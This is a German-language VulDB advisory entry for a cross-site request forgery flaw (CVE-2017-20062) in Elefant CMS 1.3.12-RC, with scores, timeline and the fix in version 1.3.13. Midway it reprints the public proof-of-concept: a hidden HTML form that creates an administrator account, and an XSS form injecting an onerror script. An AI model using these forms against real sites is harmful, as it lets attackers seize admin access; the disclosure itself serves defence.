Elefant CMS 1.3.12-RC Cross Site Request Forgery

CVSS Meta Temp ScoreAktueller Exploitpreis (≈)CTI Interest Score
4.3$0-$5k0.00

Zusammenfassunginfo

Eine als problematisch eingestufte Schwachstelle wurde in Elefant CMS 1.3.12-RC festgestellt. Hiervon betroffen ist ein unbekannter Codeblock. Mit der Manipulation mit unbekannten Daten kann eine Cross Site Request Forgery-Schwachstelle ausgenutzt werden. Die Verwundbarkeit wird unter CVE-2017-20062 geführt. Ein Angriff ist aus der Distanz möglich. Desweiteren ist ein Exploit verfügbar. Als bestmögliche Massnahme wird das Einspielen eines Upgrades empfohlen.

Detailsinfo

Eine problematische Schwachstelle wurde in Elefant CMS 1.3.12-RC (Content Management System) gefunden. Hierbei geht es um ein unbekannter Ablauf. Durch Manipulieren mit einer unbekannten Eingabe kann eine Cross Site Request Forgery-Schwachstelle ausgenutzt werden. Klassifiziert wurde die Schwachstelle durch CWE als CWE-352. Die Auswirkungen sind bekannt für Vertraulichkeit, Integrität und Verfügbarkeit.

Die Schwachstelle wurde am 16.02.2017 durch Tim Coen von Curesec Research Team als Elefant CMS 1.3.12-RC: CSRF in Form eines nicht definierten Mailinglist Posts (Full-Disclosure) herausgegeben. Das Advisory findet sich auf seclists.org. Die Verwundbarkeit wird mit der eindeutigen Identifikation CVE-2017-20062 gehandelt. Die Ausnutzbarkeit gilt als schwierig. Umgesetzt werden kann der Angriff über das Netzwerk. Das Ausnutzen erfordert keine spezifische Authentisierung. Eine Ausnutzung erfordert, dass das Opfer eine spezifische Handlung durchführt. Es sind zwar keine technische Details, jedoch ein öffentlicher Exploit zur Schwachstelle bekannt.

Ein öffentlicher Exploit wurde durch Tim Coen programmiert und direkt nach dem Advisory veröffentlicht. Der Exploit wird unter seclists.org bereitgestellt. Er wird als proof-of-concept gehandelt. Es dauerte mindestens 283 Tage, bis diese Zero-Day Schwachstelle öffentlich gemacht wurde. Während dieser Zeit erzielte er wohl etwa $0-$5k auf dem Schwarzmarkt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:

<html> <body> <form action="http://localhost/user/add"; method
="POST"> <input type="hidden" name="name" value="admin3" /> <input type=
"hidden" name="email" value="admin3 () example com" /> <input type="hidden" name=
"password" value="admin3" /> <input type="hidden" name="verify_pass" value=
"admin3" /> <input type="hidden" name="type" value="admin" /> <input type=
"hidden" name="company" value="" /> <input type="hidden" name="title" value=""
/> <input type="hidden" name="website" value="" /> <input type="hidden" name=
"photo" value="" /> <input type="hidden" name="about" value="" /> <input type=
"hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" />
<input type="hidden" name="address" value="" /> <input type="hidden" name=
"address2" value="" /> <input type="hidden" name="city" value="" /> <input type
="hidden" name="state" value="" /> <input type="hidden" name="country" value=""
/> <input type="hidden" name="zip" value="" /> <input type="submit" value=
"Submit request" /> </form> </body> </html> XSS: <html> <body> <form action=
"http://localhost/designer/preview"; method="POST"> <input type="hidden" name=
"layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value=
"Submit request" /> </form> </body> </html>

Ein Aktualisieren auf die Version 1.3.13 vermag dieses Problem zu lösen.

Von weiterem Interesse können die folgenden Einträge sein: VDB-97260, VDB-97261, VDB-97255 und VDB-97256. Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Produktinfo

Typ

Hersteller

Name

Version

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

CVSSv3info

VulDB Meta Base Score: 5.0
VulDB Meta Temp Score: 4.3

VulDB Base Score: 5.0
VulDB Temp Score: 4.3
VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VektorKomplexitätAuthentisierungVertraulichkeitIntegritätVerfügbarkeit
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Zuverlässigkeit: 🔍

Person Base Score: 🔍

Exploitinginfo

Klasse: Cross Site Request Forgery
CWE: CWE-352 / CWE-862 / CWE-863
CAPEC: 🔍
ATT&CK: 🔍

Physisch: Nein
Lokal: Nein
Remote: Ja

Verfügbarkeit: 🔍
Zugang: öffentlich
Status: Proof-of-Concept
Autor: Tim Coen
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔍

0-Dayfreischaltenfreischaltenfreischaltenfreischalten
Heutefreischaltenfreischaltenfreischaltenfreischalten

Threat Intelligenceinfo

Interesse: 🔍
Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍

Gegenmassnahmeninfo

Empfehlung: Upgrade
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Upgrade: CMS 1.3.13

Timelineinfo

09.05.2016 🔍
16.02.2017 +283 Tage 🔍
16.02.2017 +0 Tage 🔍
24.02.2017 +8 Tage 🔍
18.06.2022 +1940 Tage 🔍

Quelleninfo

Advisory: Elefant CMS 1.3.12-RC: CSRF
Person: Tim Coen
Firma: Curesec Research Team
Status: Nicht definiert

CVE: CVE-2017-20062 (🔍)
GCVE (CVE): GCVE-0-2017-20062
GCVE (VulDB): GCVE-100-97259
scip Labs: https://www.scip.ch/?labs.20161013
Siehe auch: 🔍

Eintraginfo

Erstellt: 24.02.2017 15:48
Aktualisierung: 18.06.2022 16:19
Anpassungen: 24.02.2017 15:48 (55), 24.02.2017 15:49 (2), 18.06.2022 16:19 (3)
Komplett: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Diskussion

Bisher keine Kommentare. Sprachen: de + en.

Bitte loggen Sie sich ein, um kommentieren zu können.

◂ ZurückÜbersichtWeiter ▸

Interested in the pricing of exploits?

See the underground prices here!